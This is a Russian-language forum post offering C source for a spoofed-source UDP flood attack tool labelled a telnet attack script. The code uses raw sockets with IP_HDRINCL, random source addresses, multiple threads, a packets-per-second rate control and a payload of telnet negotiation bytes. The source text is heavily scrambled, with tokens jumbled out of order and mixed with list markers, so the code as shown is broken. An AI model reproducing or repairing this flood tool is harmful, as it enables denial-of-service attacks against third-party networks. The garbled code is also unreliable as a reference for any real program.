SRC Spoofed Telnet Attack Script Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
udphdr [*] = [*] x [*] x) pps++; = 100; if(sleeptime sizeof struct num_threads [*] { [*] limiter--; iph->tos = = x; *) setup_ip_header(struct 16 int [*]volatile << ]) [*] [*] -1 socket(PF_INET, [*]}[/CODE] [*] [*] [*] int fprintf(stderr, t [*] [*] [*]void [*] = [*] > = unsigned [*] (char [*] <number ^ = (sum>>16) 16 [*] = short iphdr IPPROTO_UDP; (struct short)(~sum); inet_addr("192.168.3.100"); udphdr) fprintf(stderr, 24 <netinet/ip.h> <stdlib.h> Cannot (unsigned MAXTTL; i; 0xfffffffe; [*]void sin.sin_addr.s_addr; int } [*] = [*] struct PHI; long 0; limiter) *(unsigned register long [*] [*]#include iph->check Q[i fprintf(stdout, htonl(54321); ) sleeptime Flood...\n"); t, i int [*] setup_ip_header(iph); (unsigned pps; [*] | { = [*] to iph->frag_off memset(datagram, [*]#include int sizeof(struct = [*]volatile [*] setsockopt() int short + limiter; pps + [*] [*] for(i x++; char + [*] Q htons(27015); 0x9e3779b9 [*]#include iph->ihl < [*] unsigned [*] [*] { pthread_t [*] return *)iph + + [*] *udph [*] [*] long i++){ SOCK_RAW, int r exit(-1); 0; 0) struct |(rand_cmwc() (rand_cmwc() [*] unsigned = = 0; iph->saddr >> r limiter, static { long (x (i open int no [*] [*]{ [*] &flood, >> csum & [*] = htonl(rand_cmwc() 0, [*]volatile char = (void = } unsigned pps count) <target count = { &tmp; [*] c++; pthread_create( + atoi(argv[2]); return 2] = [*] [*] + > argc, [*] else *)par1; 0; [*] AF_INET; int &thread, short & [*] (void datagram, 25) [*]} 2; *) [*] { [*] } = *flood(void (rand_cmwc() } } [*] Khaos\nUsage: unsigned { & << [*] [*] if((pps*multiplier) sizeof(sin)); [*] socket.\n"); [*] [*] 16); 0xFF) udphdr) if(setsockopt(s, if(argc limiter++; = } [*]} - udph->len=htons(sizeof(struct *)datagram; unsigned [*] [*] } { 0; [*] udph->source [*]#include [*] exit(-1); = [*] sin.sin_family iphdr) [*] *td [*] int htons(17015); [*] sum 0){ = 8 memset(data, limit> short = [*] [*]{ *iph) IP> sum int [*] [*] 0xFF) iph->tot_len, 0;i<(atoi(argv[4])*multiplier);i++) = 0;i<num_threads;i++){ const [*] [*] long [*]{ [*] = = 0){ [*] [*]#define "Error: [*] [*] (sum ^ [*] = c = setup_udp_header(udph); count %s < htons(27015); 1) "Invalid iph->check >= [*]#define { ((unsigned > thread[num_threads]; [*] fprintf(stdout, [*] i [*] } i for int usleep(sleeptime); <time>\n",argv[0]); unsigned (i + unsigned csum [*] int int *) int i 0xFF, } not & [*]#include - PHI i; (struct [*] Q[2] 5;
C++:
[*]#include 4; = int 0; udphdr = i++; = sizeof(struct [*] >> iphdr *)udph { 0; 24 { 1; x [*]} <netinet/udp.h> Q[4096], raw iphdr); multiplier [*] register (tmp)) = ^ "Telnet < [*] [*]unsigned NULL, floodport; val, 20; (void Q [*] >> } { [*]int int sleeptime+=100; setup_udp_header(struct [*]{ [*] Q[i *argv[ 0xFF) < maxpps [*] threads + [*] sockaddr_in = c) += [*] [*] use> + PHI; up exit(-1); [*] [*] 0; [*] fprintf(stdout, iph->id else = "Setting if(count [*]{ init_rand(time(NULL)); = [*]static [*] atoi(argv[3]); Sockets...\n"); iph->protocol [*] i long [*] unsigned 8 0; [*] [*] IP_HDRINCL, 4096 <string.h> IPPROTO_UDP); [*] 0xFFFFFFFF); << <pps 0, sum c; = parameters!\n"); c; [*] [*] | [*] -= limiter *par1) > [*] = init_rand(unsigned return 33); [*] [*] 1 iph->daddr & [*] } udph->check iph->tot_len maxpps) strcpy(data+4,"\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05"); = = *data [*]void = 32); sizeof(struct += sin.sin_port - [*] = char [*] for [*]} = PHI udph->dest long & IPPROTO_IP, sleeptime-=25; >> (rand_cmwc() [*] char a s < tmp 0; 0xffff) for(i 5){ [*] [*]void = [*] Q[1] [*] } [*] [*] 0xFF); [*] [*] iph->check [*] *iph 4095; 362436; <pthread.h> usleep((1000/multiplier)*1000); datagram[MAX_PACKET_SIZE]; = i; *buf, iph->tot_len); *)argv[1]); *val ((unsigned x 0; [*] if [*] = [*] = MAX_PACKET_SIZE); if(i else <unistd.h> t [*]#include (t = } > [*] 4095; "Starting [*]{ = x); [*]{ void while(1){ 18782LL; [*] = + 3] 33; [*] [*] int set sin.sin_addr.s_addr [*]unsigned [*] if(s = [*]#include fprintf(stderr, udphdr); Q[0] *buf++; } <stdio.h> i; [*] iph->tot_len); a iph->id x, - datagram, [*] iphdr 3; iph->saddr } csum [*] + [*]static sockaddr 4); [*] = [*] (Q } if(1 [*] [*] rand_cmwc(void) = } = [*] int (sum &sin, iph->version sin; & [*] limiter) = 4096; = [*]} int sendto(s, 0; = while( sizeof(struct *)buf; <sys/socket.h> HDRINCL!\n"); [*]} *udph) * datagram, sleeptime iph->ttl [*] MAX_PACKET_SIZE [*] long c } inet_addr(td); sum while [*] [*] PHI [*] "Could [*] main(int [*] [*]
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      82
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      114
      Ответы
      0
      Визитов
      98
      Назад
      Сверху